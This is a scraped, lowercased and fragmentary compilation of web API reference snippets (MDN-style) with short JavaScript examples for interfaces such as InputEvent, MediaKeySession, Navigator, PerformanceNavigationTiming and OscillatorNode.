<p>some text to copy and paste.</p> <input type="text"> <p class="result"></p> var editable = document.queryselector('input') var result = document.queryselector('.result'); editable.addeventlistener('input', (e) => { result.textcontent = "inputted text: " + e.data; }); specifications specification status comment input events level 2the definition of 'data' in that specification.
InputEvent.dataTransfer - Web APIs
-(</p> <hr> <p contenteditable="true">go on, try pasting some content into this editable paragraph and see what happens!</p> <p class="result"></p> var editable = document.queryselector('p[contenteditable]'); var result = document.queryselector('.result') var datatransferobj; editable.addeventlistener('input', (e) => { result.textcontent = e.datatransfer.getdata('text/html'); }); specifications specification status comment input events level 2the definition of 'datatransfer' in that specification.
InputEvent.inputType - Web APIs
specifications specification status comment ui eventsthe definition of 'inputtype' in that specification.
enabled - Web APIs
summary indicates whether or not software installation is enabled for this client machine.
startSoftwareUpdate - Web APIs
method of installtrigger object syntax boolean startsoftwareupdate ( string url); parameters the startsoftwareupdate method has the following parameter: url a uniform resource locator specifying the location of the xpi file containing the software.
IntersectionObserver.disconnect() - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserver.disconnect()' in that specification.
IntersectionObserver.root - Web APIs
observer.root.style.border = "2px solid #44aa44"; specifications specification status comment intersection observerthe definition of 'intersectionobserver' in that specification.
IntersectionObserver.rootMargin - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserver.rootmargin' in that specification.
IntersectionObserverEntry.rootBounds - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.rootbounds' in that specification.
KeyboardLayoutMap.entries - Web APIs
specifications specification status comment keyboard mapthe definition of 'entries' in that specification.
KeyboardLayoutMap.keys - Web APIs
specifications specification status comment keyboard mapthe definition of 'keys' in that specification.
KeyboardLayoutMap.size - Web APIs
specifications specification status comment keyboard mapthe definition of 'size' in that specification.
KeyboardLayoutMap.values - Web APIs
specifications specification status comment keyboard mapthe definition of 'values' in that specification.
KeyframeEffect.composite - Web APIs
specifications specification status comment web animationsthe definition of 'keyframeeffect.composite' in that specification.
KeyframeEffect.iterationComposite - Web APIs
specifications specification status comment web animations level 2the definition of 'iterationcomposite' in that specification.
KeyframeEffect.target - Web APIs
terabbit sets the target element to be animated: var whiterabbit = document.getelementbyid("rabbit"); var rabbitdownkeyframes = new keyframeeffect( whiterabbit, [ { transform: 'translatey(0%)' }, { transform: 'translatey(100%)' } ], { duration: 3000, fill: 'forwards' } ); // returns <div id=​"rabbit">​click the rabbit's ears!​</div>​ rabbitdownkeyframes.target; specifications specification status comment web animationsthe definition of 'keyframeeffect' in that specification.
LayoutShiftAttribution - Web APIs
specifications specification status comment layout instability apithe definition of 'layoutshiftattribution' in that specification.
LockManager.query() - Web APIs
WebAPILockManagerquery
example const state = await navigator.locks.query(); for (const lock of state.held) { console.log(`held lock: name ${lock.name}, mode ${lock.mode}`); } for (const request of state.pending) { console.log(`requested lock: name ${request.name}, mode ${request.mode}`); } specifications specification status comment web locks apithe definition of 'query()' in that specification.
LockedFile.fileHandle - Web APIs
specifications specification status comment filesystem api editor's draft draft proposal.
LockedFile.mode - Web APIs
WebAPILockedFilemode
specifications specification status comment filesystem api editor's draft draft proposal.
MIDIConnectionEvent - Web APIs
properties midiconnectionevent.port returns a reference to a midiport instance for a port that has been connected or disconnected." examples specifications specification status comment web midi api working draft initial definition.
MathMLElement - Web APIs
htmlorforeignelement methods this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement examples mathml <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mi>x</mi> </msqrt> </math> javascript document.queryselector('msqrt').constructor.name; // mathmlelement specifications specification status comment mathmlelement interface ...
MediaElementAudioSourceNode() - Web APIs
example var ac = new audiocontext(); var mediaelement = document.createelement('audio'); var options = { mediaelement : mediaelement } var myaudiosource = new mediaelementaudiosourcenode(ac, options); specifications specification status comment web audio apithe definition of 'mediaelementaudiosourcenode' in that specification.
msExtendedCode - Web APIs
}, false); video.addeventlistener('canplay', function () { video1.play(); }, false); ...
MediaKeyMessageEvent() - Web APIs
options options are as follows: messagetype: a developer-defined message type that allows applications to differentiate messages without parsing them.
message - Web APIs
syntax var messagetype = mediakeymessageevent.messagetype; specifications specification status comment encrypted media extensionsthe definition of 'message' in that specification.
close() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'close()' in that specification.
generateRequest() - Web APIs
}); specifications specification status comment encrypted media extensionsthe definition of 'generaterequest()' in that specification.
keyStatuses - Web APIs
syntax var mediakeystatusmapobj = mediakeysessionobj.keystatuses; specifications specification status comment encrypted media extensionsthe definition of 'keystatuses' in that specification.
sessionId - Web APIs
syntax ​var sessionid = mediakeysessionobj.sessionid; specifications specification status comment encrypted media extensionsthe definition of 'sessionid' in that specification.
update() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'update()' in that specification.
MediaKeyStatusMap.entries() - Web APIs
returns exceptions specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.get() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.has() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.keys() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.size - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'size' in that specification.
MediaKeyStatusMap.values() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
createMediaKeys() - Web APIs
syntax var mediakeys = await mediakeysystemaccess.createmediakeys(); specifications specification status comment encrypted media extensionsthe definition of 'createmediakeys()' in that specification.
getConfiguration() - Web APIs
syntax var mediakeysystemconfiguration = mediakeysystemaccess.getconfiguration(); specifications specification status comment encrypted media extensionsthe definition of 'getconfiguration()' in that specification.
keySystem - Web APIs
syntax var keysystem = mediakeysystemaccess.keysystem; specifications specification status comment encrypted media extensionsthe definition of 'keysystem' in that specification.
createSession() - Web APIs
syntax ​var mediakeysessionobject = mediakeys.createsession([mediakeysessiontype]); specifications specification status comment encrypted media extensionsthe definition of 'createsession()' in that specification.
MediaList.mediaText - Web APIs
const stylesheets = document.stylesheets; let stylesheet = stylesheets[0]; console.log(stylesheet.media.mediatext); specifications specification status comment css object model (cssom)the definition of 'mediatext' in that specification.
MediaList - Web APIs
WebAPIMediaList
const stylesheets = document.stylesheets; let stylesheet = stylesheets[0]; console.log(stylesheet.media.mediatext); specifications specification status comment css object model (cssom)the definition of 'medialist' in that specification.
MediaMetadata.album - Web APIs
specifications specification status comment media session standardthe definition of 'album' in that specification.
MediaMetadata.artist - Web APIs
specifications specification status comment media session standardthe definition of 'artist' in that specification.
MediaMetadata.artwork - Web APIs
specifications specification status comment media session standardthe definition of 'artwork' in that specification.
MediaMetadata.title - Web APIs
specifications specification status comment media session standardthe definition of 'title' in that specification.
MediaMetadata - Web APIs
specifications specification status comment media session standardthe definition of 'mediametadata' in that specification.
MediaQueryList.media - Web APIs
css .mq-value { font: 18px arial, sans-serif; font-weight: bold; color: #88f; padding: 0.4em; border: 1px solid #dde; } result specifications specification status comment css object model (cssom) view modulethe definition of 'media' in that specification.
MediaQueryList.onchange - Web APIs
}; example var mql = window.matchmedia('(max-width: 600px)'); mql.addeventlistener( "change", (e) => { if (e.matches) { /* the viewport is 600 pixels wide or less */ console.log('this is a narrow screen — less than 600px wide.') } else { /* the viewport is more than than 600 pixels wide */ console.log('this is a wide screen — more than 600px wide.') } }) specifications specification status comment css object model (cssom) view modulethe definition of 'onchange' in that specification.
MediaQueryListEvent.MediaQueryListEvent() - Web APIs
examples var media = '(max-width: 600px)'; var matches = true; var mymediaquerylistevent = new mediaquerylistevent({media, matches}); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent()' in that specification.
MediaQueryListEvent.matches - Web APIs
iewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that specification.
MediaQueryListEvent.media - Web APIs
e or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } console.log(e.media); } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'media' in that specification.
MediaRecorder.audioBitsPerSecond - Web APIs
specifications specification status comment mediastream recordingthe definition of 'audiobitspersecond' in that specification.
MediaRecorder.onpause - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onpause' in that specification.
MediaRecorder.onresume - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onresume' in that specification.
MediaRecorder.onstart - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onstart' in that specification.
MediaRecorder.videoBitsPerSecond - Web APIs
example // tbd specifications specification status comment mediastream recordingthe definition of 'videobitspersecond' in that specification.
MediaSettingsRange.max - Web APIs
specifications specification status comment mediastream image capturethe definition of 'max' in that specification.
MediaSettingsRange.min - Web APIs
specifications specification status comment mediastream image capturethe definition of 'min' in that specification.
MediaSettingsRange.step - Web APIs
specifications specification status comment mediastream image capturethe definition of 'step' in that specification.
MediaSource.activeSourceBuffers - Web APIs
specifications specification status comment media source extensionsthe definition of 'activesourcebuffers' in that specification.
MediaSource.duration - Web APIs
specifications specification status comment media source extensionsthe definition of 'duration' in that specification.
MediaSource.removeSourceBuffer() - Web APIs
examples for (i = 0; i < 10; i++) { var sourcebuffer = mediasource.addsourcebuffer(mimecodec); } mediasource.removesourcebuffer(mediasource.sourcebuffers[0]); specifications specification status comment media source extensionsthe definition of 'removesourcebuffer()' in that specification.
MediaSource.sourceBuffers - Web APIs
specifications specification status comment media source extensionsthe definition of 'sourcebuffers' in that specification.
MediaStreamAudioDestinationNode.MediaStreamAudioDestinationNode() - Web APIs
example var ac = new audiocontext(); var mydestination = new mediastreamaudiodestinationnode(ac); specifications specification status comment web audio apithe definition of 'mediastreamaudiodestinationnode' in that specification.
MediaStreamAudioSourceOptions.mediaStream - Web APIs
example specifications specification status comment web audio apithe definition of 'mediastreamaudiosourceoptions.mediastream' in that specification.
MediaStreamAudioSourceOptions - Web APIs
specifications specification status comment web audio apithe definition of 'mediastreamaudiosourceoptions' in that specification.
MediaStreamEvent - Web APIs
two events of this type can be thrown: addstream and removestream.
MediaStreamTrack.onoverconstrained - Web APIs
the mediastreamtrack.onoverconstrained event handler is a property called when the overconstrained event is received.
MediaStreamTrackAudioSourceOptions - Web APIs
specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourceoptions' in that specification.
MediaTrackSupportedConstraints.volume - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
MessageEvent.lastEventId - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.lasteventid); }; specifications specification status comment html living standardthe definition of 'messageevent: lasteventid' in that specification.
MessageEvent.origin - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.origin); }; specifications specification status comment html living standardthe definition of 'messageevent: origin' in that specification.
MouseEvent.offsetX - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
MouseEvent.offsetY - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
MouseEvent.webkitForce - Web APIs
specifications not part of any specification.
MouseEvent.x - Web APIs
WebAPIMouseEventx
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent.x' in that specification.
MouseEvent.y - Web APIs
WebAPIMouseEventy
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent.y' in that specification.
msIsBoxed - Web APIs
WebAPIMsIsBoxed
typically the video's left and right edges go to the full width of the screen.
msPlayToDisabled - Web APIs
syntax ptr = object.msplaytodisabled; value boolean value set to true indicates that the playto device is disabled.
msPlayToPrimary - Web APIs
syntax ptr = object.msplaytoprimary; value boolean value set to true indicates that the device is the primary dlna playto device, otherwise false.
msPlayToSource - Web APIs
syntax ptr = object.msplaytosource; value playto is a means through which an app can connect local playback/display for audio, video, and img elements to a remote device.
NDEFMessage.records - Web APIs
specifications specification status comment web nfc, dnefmessage.records draft initial definition.
NDEFReader() - Web APIs
specifications specification status comment web nfc, ndefreader draft initial definition.
NDEFRecord.data - Web APIs
WebAPINDEFRecorddata
specifications specification status comment web nfc, ndefrecord.data draft initial definition.
NDEFRecord.id - Web APIs
WebAPINDEFRecordid
specifications specification status comment web nfc, ndefrecord draft initial definition.
NDEFRecord.mediaType - Web APIs
specifications specification status comment web nfc, ndefrecord.mediatype draft initial definition.
NDEFRecord.toRecords() - Web APIs
specifications specification status comment web nfc, ndefrecord.torecords() draft initial definition.
NDEFWriter() - Web APIs
specifications specification status comment web nfc, ndefwriter draft initial definition.
Navigator.deviceMemory - Web APIs
example const memory = navigator.devicememory console.log (`this device has at least ${memory}gib of ram.`) specifications specification status comment device memory 1the definition of 'devicememory' in that specification.
Navigator.getGamepads() - Web APIs
%d buttons, %d axes.", gp.index, gp.id, gp.buttons.length, gp.axes.length ); }); specifications specification status comment gamepadthe definition of 'the gamepad api specification' in that specification.
Navigator.locks - Web APIs
WebAPINavigatorlocks
specifications specification status comment web locks apithe definition of 'locks' in that specification.
Navigator.oscpu - Web APIs
WebAPINavigatoroscpu
specifications specification status comment html living standardthe definition of 'navigatorid: oscpu' in that specification.
Navigator.productSub - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid: productsub' in that specification.
Navigator.vendor - Web APIs
WebAPINavigatorvendor
specifications specification status comment html living standardthe definition of 'navigatorid: vendor' in that specification.
Navigator.vendorSub - Web APIs
syntax vensub = window.navigator.vendorsub value the empty string specifications specification status comment html living standardthe definition of 'navigatorid: vendorsub' in that specification.
Navigator.wakeLock - Web APIs
syntax const wakelock = navigator.wakelock; specifications specification status comment screen wake lock api editor's draft initial definition ...
NavigatorID.appCodeName - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.appcodename' in that specification.
NavigatorID.product - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.product' in that specification.
NavigatorID.taintEnabled() - Web APIs
syntax result = window.navigator.taintenabled() specifications specification status comment html living standardthe definition of 'navigatorid.taintenabled' in that specification.
NavigatorLanguage.languages - Web APIs
syntax preferredlanguages = globalobj.navigator.languages examples navigator.language //"en-us" navigator.languages //["en-us", "zh-cn", "ja-jp"] specifications specification status comment html living standardthe definition of 'navigatorlanguage: languages' in that specification.
NetworkInformation.downlinkMax - Web APIs
tion' in navigator) { connectiontype = navigator.connection.effectivetype; if ('downlinkmax' in navigator.connection) { downlinkmax = navigator.connection.downlinkmax; } } console.log('current connection type: ' + connectiontype + ' (downlink max: ' + downlinkmax + ')'); } logconnectiontype(); navigator.connection.addeventlistener('change', logconnectiontype); specifications specification status comment network information apithe definition of 'downlinkmax' in that specification.
NetworkInformation.effectiveType - Web APIs
specifications specification status comment network information apithe definition of 'effectivetype' in that specification.
NetworkInformation.onchange - Web APIs
} // register for event changes: navigator.connection.onchange = changehandler; // another way: navigator.connection.addeventlistener('change', changehandler); specifications specification status comment network information apithe definition of 'onchange' in that specification.
NetworkInformation.saveData - Web APIs
specifications specification save data api ...
Node.isDefaultNamespace() - Web APIs
example var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var el = document.getelementsbytagnamens(xulns, 'textbox')[0]; alert(el.isdefaultnamespace(xulns)); // true specifications specification status comment domthe definition of 'node: isdefaultnamespace' in that specification.
Node.isEqualNode() - Web APIs
WebAPINodeisEqualNode
ript let output = document.getelementbyid("output"); let divlist = document.getelementsbytagname("div"); output.innerhtml += "div 0 equals div 0: " + divlist[0].isequalnode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 equals div 1: " + divlist[0].isequalnode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 equals div 2: " + divlist[0].isequalnode(divlist[2]) + "<br/>"; results specifications specification status comment domthe definition of 'node.isequalnode' in that specification.
Node.lookupNamespaceURI() - Web APIs
specifications specification status comment domthe definition of 'node: lookupnamespaceuri' in that specification.
Node.lookupPrefix() - Web APIs
WebAPINodelookupPrefix
due to bug 312019, this method does not work with dynamically assigned namespaces, that is, those set with the node.prefix property.
Node.nodePrincipal - Web APIs
specifications not in any specification.
Node.nodeValue - Web APIs
WebAPINodenodeValue
specifications specification status comment domthe definition of 'node: nodevalue' in that specification.
Node.normalize() - Web APIs
WebAPINodenormalize
wrapper.appendchild( document.createtextnode("part 1 ") ); wrapper.appendchild( document.createtextnode("part 2 ") ); // at this point, wrapper.childnodes.length === 2 // wrapper.childnodes[0].textcontent === "part 1 " // wrapper.childnodes[1].textcontent === "part 2 " wrapper.normalize(); // now, wrapper.childnodes.length === 1 // wrapper.childnodes[0].textcontent === "part 1 part 2 " specifications specification status comment domthe definition of 'node: normalize' in that specification.
Node.ownerDocument - Web APIs
example // given a node "p", get the top-level html // child of the document object var d = p.ownerdocument; var html = d.documentelement; specifications specification status comment domthe definition of 'node: ownerdocument' in that specification.
Node.parentElement - Web APIs
example if (node.parentelement) { node.parentelement.style.color = "red"; } specifications specification status comment domthe definition of 'parentelement' in that specification.
NodeIterator.referenceNode - Web APIs
syntax node = nodeiterator.referencenode; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); node = nodeiterator.referencenode; specifications specification status comment domthe definition of 'nodeiterator.referencenode' in that specification.
NodeList.item() - Web APIs
WebAPINodeListitem
alternate syntax javascript also offers an array-like bracketed syntax for obtaining an item from a nodelist by index: nodeitem = nodelist[index] example var tables = document.getelementsbytagname("table"); var firsttable = tables.item(1); // or simply tables[1] - returns the second table in the dom specifications specification status comment domthe definition of 'nodelist: item' in that specification.
NodeList.length - Web APIs
WebAPINodeListlength
// all the paragraphs in the document var items = document.getelementsbytagname("p"); // for each item in the list, // append the entire element as a string of html var gross = ""; for (var i = 0; i < items.length; i++) { gross += items[i].innerhtml; } // gross is now all the html for the paragraphs specifications specification status comment domthe definition of 'nodelist: length' in that specification.
NotifyAudioAvailableEvent - Web APIs
time a floating-point value indicating the time in seconds at which the first sample in the framebuffer occurs, relative to the start of the audio track.
OES_element_index_uint - Web APIs
examples var ext = gl.getextension('oes_element_index_uint'); gl.drawelements(gl.points, 8, gl.unsigned_int, 0); specifications specification status comment oes_element_index_uintthe definition of 'oes_element_index_uint' in that specification.
OES_vertex_array_object.deleteVertexArrayOES() - Web APIs
ext.deletevertexarrayoes(vao); specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
OVR_multiview2.framebufferTextureMultiviewOVR() - Web APIs
examples ext.framebuffertexturemultiviewovr(gl.draw_framebuffer, gl.color_attachment0, colortex, 0, 0, 2); specifications specification status ovr_multiview2 community approved ...
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent()' in that specification.
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
specifications specification status comment web audio apithe definition of 'renderedbuffer' in that specification.
OfflineAudioContext.length - Web APIs
specifications specification status comment web audio apithe definition of 'length' in that specification.
OfflineAudioContext.suspend() - Web APIs
invalidstateerror if the quantized frame number is one of the following: a negative number is less than or equal to the current time is greater than or equal to the total render duration is scheduled by another suspend for the same time specifications specification status comment web audio apithe definition of 'suspend()' in that specification.
OscillatorNode.detune - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.detune.setvalueattime(100, audioctx.currenttime); // value in cents oscillator.start(); specifications specification status comment web audio apithe definition of 'detune' in that specification.
OscillatorNode.frequency - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'frequency' in that specification.
OscillatorNode.onended - Web APIs
specifications specification status comment web audio apithe definition of 'onended' in that specification.
OscillatorNode.start() - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'start' in that specification.
OscillatorNode.stop() - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.connect(audioctx.destination); oscillator.start(); oscillator.stop(audioctx.currenttime + 2); // stop 2 seconds after the current time specifications specification status comment web audio apithe definition of 'stop' in that specification.
PasswordCredential.idName - Web APIs
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
PasswordCredential.name - Web APIs
specifications specification status comment credential management level 1the definition of 'name' in that specification.
PasswordCredential.password - Web APIs
specifications specification status comment credential management level 1the definition of 'password' in that specification.
PasswordCredential.passwordName - Web APIs
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
PaymentRequestEvent.instrumentKey - Web APIs
specifications specification status comment payment handler apithe definition of 'instrumentkey' in that specification.
PaymentRequestEvent.methodData - Web APIs
specifications specification status comment payment handler apithe definition of 'methoddata' in that specification.
PaymentRequestEvent.modifiers - Web APIs
specifications specification status comment payment handler apithe definition of 'modifiers' in that specification.
paymentRequestId - Web APIs
specifications specification status comment payment handler apithe definition of 'paymentrequestid' in that specification.
PaymentRequestEvent.paymentRequestOrigin - Web APIs
specifications specification status comment payment handler apithe definition of 'paymentrequestorigin' in that specification.
PaymentRequestEvent.respondWith() - Web APIs
specifications specification status comment payment handler apithe definition of 'respondwith' in that specification.
PaymentRequestEvent.topOrigin - Web APIs
syntax var ausvstring = paymentrequestevent.toporigin value a usvstring specifications specification status comment payment handler apithe definition of 'toporigin' in that specification.
PaymentRequestEvent.total - Web APIs
specifications specification status comment payment handler apithe definition of 'total' in that specification.
PaymentResponse.methodName - Web APIs
payment.show().then(paymentresponse => { var paymentdata = { // payment method string method: paymentresponse.methodname, // payment details as you requested details: paymentresponse.details, // shipping address information address: todict(paymentresponse.shippingaddress) }; // send information to the server }); specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse.payerEmail - Web APIs
syntax var payeremail = paymentresponse.payeremail; specifications specification status comment payment request api candidate recommendation initial definition.
PayerResponse.payerPhone - Web APIs
syntax var payerphone = paymentresponse.payerphone; specifications specification status comment payment request api candidate recommendation initial definition.
Performance.timeOrigin - Web APIs
specifications specification status high resolution time level 2the definition of 'timeorigin' in that specification.
performance.toJSON() - Web APIs
example var js; js = window.performance.tojson(); console.log("json = " + json.stringify(js)); specifications specification status comment high resolution time level 2the definition of 'tojson() serializer' in that specification.
PerformanceLongTaskTiming.attribution - Web APIs
specifications specification status comment long tasks api 1the definition of 'attribution' in that specification.
PerformanceNavigationTiming.domComplete - Web APIs
+ p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcomplete' in that specification.
PerformanceNavigationTiming.domContentLoadedEventEnd - Web APIs
p.domcomplete); console.log("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcontentloadedeventend' in that specification.
PerformanceNavigationTiming.domContentLoadedEventStart - Web APIs
+ p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcontentloadedeventstart' in that specification.
PerformanceNavigationTiming.domInteractive - Web APIs
p.domcomplete); console.log("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'dominteractive' in that specification.
PerformanceNavigationTiming.loadEventEnd - Web APIs
p.domcomplete); console.log("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'loadeventend' in that specification.
PerformanceNavigationTiming.loadEventStart - Web APIs
+ p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'loadeventstart' in that specification.
PerformanceNavigationTiming.redirectCount - Web APIs
+ p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'redirectcount' in that specification.
PerformanceNavigationTiming.toJSON() - Web APIs
example // get a resource performance entry var perfentries = performance.getentriesbytype("navigation"); var entry = perfentries[0]; // get the json and log it var json = entry.tojson(); var s = json.stringify(json); console.log("performancenavigationtiming.tojson() = " + s); specifications specification status comment navigation timing level 2the definition of 'tojson()' in that specification.
PerformanceNavigationTiming.unloadEventEnd - Web APIs
+ p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'unloadeventend' in that specification.
PerformanceNavigationTiming.unloadEventStart - Web APIs
+ p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'unloadeventstart' in that specification.
PerformanceResourceTiming.nextHopProtocol - Web APIs
just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_nexthopprotocol(p[i]); } } function print_nexthopprotocol(perfentry) { var value = "nexthopprotocol" in perfentry; if (value) console.log("nexthopprotocol = " + perfentry.nexthopprotocol); else console.log("nexthopprotocol = not supported"); } specifications specification status comment resource timing level 2the definition of 'nexthopprotocol' in that specification.
PerformanceResourceTiming.serverTiming - Web APIs
syntax resource.servertiming; specifications specification status comment server timingthe definition of 'servertiming' in that specification.
PerformanceResourceTiming.toJSON() - Web APIs
example // get a resource performance entry var perfentries = performance.getentriesbytype("resource"); var entry = perfentries[0]; // get the json and log it var json = entry.tojson(); var s = json.stringify(json); console.log("performanceentry.tojson = " + s); specifications specification status comment resource timing level 2the definition of 'tojson' in that specification.
PerformanceResourceTiming.workerStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 2the definition of 'workerstart' in that specification.
PerformanceServerTiming.description - Web APIs
syntax servertiming.description; specifications specification status comment server timingthe definition of 'description' in that specification.
PerformanceServerTiming.duration - Web APIs
syntax servertiming.duration; specifications specification status comment server timingthe definition of 'duration' in that specification.
PerformanceServerTiming.name - Web APIs
syntax servertiming.name; specifications specification status comment server timingthe definition of 'name' in that specification.
PerformanceServerTiming.toJSON - Web APIs
specifications specification status comment server timingthe definition of 'tojson' in that specification.
PeriodicWave.PeriodicWave() - Web APIs
example var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var options = { real : real, imag : imag, disablenormalization : false } var wave = new periodicwave(ac, options); specifications specification status comment web audio apithe definition of 'periodicwave' in that specification.
PermissionStatus.state - Web APIs
syntax var permission = permissionstatus.state; example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'state' in that specification.
Plugin - Web APIs
WebAPIPlugin
specifications specification status comment html living standardthe definition of 'plugin' in that specification.
PluginArray - Web APIs
h = navigator.plugins.length; document.write( pluginslength.tostring() + " plugin(s)<br>" + "name | filename | description<br>" ); for(var i = 0; i < pluginslength; i++) { document.write( navigator.plugins[i].name + " | " + navigator.plugins[i].filename + " | " + navigator.plugins[i].description + " | " + navigator.plugins[i].version + "<br>" ); } specifications specification status comment html living standardthe definition of 'pluginarray' in that specification.
PointerEvent.PointerEvent() - Web APIs
